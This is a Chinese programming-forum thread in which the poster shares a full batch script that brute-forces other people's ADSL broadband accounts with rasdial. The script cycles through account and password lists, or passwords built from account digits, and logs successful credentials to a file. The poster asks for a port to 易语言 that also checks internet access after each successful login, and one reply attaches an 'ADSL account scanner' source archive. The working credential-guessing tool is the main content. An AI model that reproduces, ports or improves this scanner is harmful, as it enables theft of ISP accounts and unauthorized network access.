开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 2894|回复: 12
收起左侧

[求助] 把这个ADSL账号扫描批处理功能 写成易语言

[复制链接]
结帖率:42% (11/26)
发表于 2014-4-11 22:46:45 | 显示全部楼层 |阅读模式   山西省太原市
@title 宽带账号批量连接检测批处理 By beau qq 512292929
@echo off & setlocal enabledelayedexpansion

set userfile=宽带账号.txt
set passfile=宽带密码.txt
set pppname=宽带连接
set outfile=成功连接.txt

:choose
echo.&echo 本批处理实现以下功能:
echo.&echo     1 - 创建 !pppname!(配合模拟按键实现)
echo.&echo     2 - 测试固定的宽带账号及密码
echo.&echo     3 - 宽带账号固定,密码从文本 %passfile% 里提取逐一测试
echo.&echo     4 - 宽带密码固定,账号从文本 %userfile% 里提取逐一测试
echo.&echo     5 - 宽带账号及密码均从以上文本里提取逐一测试
echo.&echo     6 - 从文本 %userfile% 里提取宽带账号并手动截取@前几位数作为密码
echo.&echo     0 - 退出批处理
echo.&set /p choose=请输入你选择的序号并回车:

if %choose% equ 0 exit
if %choose% equ 1 goto :buildppp
if %choose% equ 2 goto :user1pass1
if %choose% equ 3 goto :user1passx
if %choose% equ 4 goto :pass1userx
if %choose% equ 5 goto :userxpassx
if %choose% equ 6 goto :user_passx

cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose


:buildppp
::创建新宽带连接
set vbs=buildppp.vbs
(echo Set WshShell = CreateObject^("WScript.Shell"^)
echo strCommandLine = "rasphone -a ""!pppname!"""
echo WshShell.Run^(strCommandLine^)
echo WScript.Sleep 1000
echo WshShell.SendKeys "R"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo WScript.Sleep 30
echo WshShell.SendKeys "{ENTER}"
echo Set WshShell = Nothing
)>"%vbs%"
cscript //nologo "%vbs%"
del "%vbs%"
goto :exit

:user1pass1
echo.&set /p user=请输入宽带账号:
echo.&set /p pass=请输入宽带密码:
call :check1
goto :exit

:user1passx
set user=改成固定的宽带账号
call :check0
for /f "tokens=*" %%a in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set pass=%%a&call :check1
)
goto :exit

:pass1userx
set pass=123456
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    if !end! equ 1 (set end=&goto :exit)
    set user=%%a&call :check1
)
goto :exit

:userxpassx
call :check0
for /f "tokens=*" %%a in ('type "%userfile%"') do (
    set user=%%a
    call :check2
)
goto :exit

:user_passx
call :check0
echo.&set /p num=请输入要截取用户名@前多少位数字作为密码:
for /f "tokens=1-2 delims=@" %%a in (宽带账号.txt) do (
    set str=%%a
    set user=%%a@%%b
    set pass=!str:~-%num%!
    call :check1
)
goto :exit

:exit
rasdial "!pppname!" !lastuser! !lastpass!
echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit

:check0
rasdial|find "已连接">nul
if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof)
goto :eof

:check1
echo.&set /p str=正在连接账号 !user!=!pass! <nul
rasdial "!pppname!" !user! !pass! >nul
rasdial|find "已连接">nul
if !errorlevel! equ 0 (
    echo [连接成功]
    if %choose% neq 7 echo>>"%outfile%" !user!=!pass!
    set lastuser=!user!
    set lastpass=!pass!
    set end=1
) else (echo.)
rasdial "!pppname!" /d >nul
goto :eof

:check2
for /f "tokens=*" %%b in ('type "%passfile%"') do (
    if !end! equ 1 (set end=&goto :eof)
    set pass=%%b
    call :check1
)
goto :eof


以上是批处理


如果连接成功判断是否能打开百度或精易论坛 如果可以停止扫描  如果不可以就算是连接成功继续断开继续扫描 QQ:528526999 如果还是不清楚 +我Q吧 悬赏好说

补充内容 (2014-4-12 17:05):
类似的源码也可以!
头像被屏蔽
结帖率:100% (3/3)
发表于 2014-4-11 22:50:55 | 显示全部楼层   广东省汕尾市
精易模块不是有这里功能吗? ADSL类
回复 支持 反对

使用道具 举报

结帖率:42% (11/26)
 楼主| 发表于 2014-4-11 22:54:36 | 显示全部楼层   山西省太原市
聚义堂神话 发表于 2014-4-11 22:50
精易模块不是有这里功能吗? ADSL类

有啊 本来小菜 我自己试的做了下 遇到很多问题  我不能一直发悬赏把 多麻烦!!
回复 支持 反对

使用道具 举报

发表于 2014-4-11 23:03:51 | 显示全部楼层   重庆市重庆市
没看懂!!!!!!

点评

服了   山西省太原市  发表于 2014-4-11 23:18
回复 支持 反对

使用道具 举报

结帖率:42% (11/26)
 楼主| 发表于 2014-4-12 01:38:28 | 显示全部楼层   山西省太原市
回复 支持 反对

使用道具 举报

结帖率:67% (4/6)

签到天数: 2 天

发表于 2014-4-12 10:59:33 | 显示全部楼层   福建省龙岩市
123.JPG
我有搞过一次 但是有bug 你可以添加一个导入功能 希望可以帮到你吧

源码.rar

77.79 KB, 下载次数: 10, 下载积分: 精币 -2 枚

ADS扫号器

点评

我先来看看!   山西省太原市  发表于 2014-4-12 12:45

评分

参与人数 1好评 +1 精币 +1 收起 理由
hackrzc + 1 + 1 谢谢你的帮忙 但是这个不是我想要的!

查看全部评分

回复 支持 反对

使用道具 举报

结帖率:42% (11/26)
 楼主| 发表于 2014-4-12 12:52:46 | 显示全部楼层   山西省太原市
@小爬虫
回复 支持 反对

使用道具 举报

结帖率:67% (4/6)

签到天数: 2 天

发表于 2014-4-15 00:18:49 | 显示全部楼层   福建省龙岩市
要不要我抽空帮你写了
回复 支持 反对

使用道具 举报

结帖率:80% (32/40)

签到天数: 15 天

发表于 2014-4-15 00:23:56 | 显示全部楼层   湖南省长沙市
@小爬虫            
回复 支持 反对

使用道具 举报

结帖率:80% (32/40)

签到天数: 15 天

发表于 2014-4-15 00:26:13 | 显示全部楼层   湖南省长沙市
真心没看见过类似的列程...   解决不了..
回复 支持 反对

使用道具 举报

  高级模式
B Color Image Link Quote Code Smilies |上传

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 793400750,邮箱:wp@125.la
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表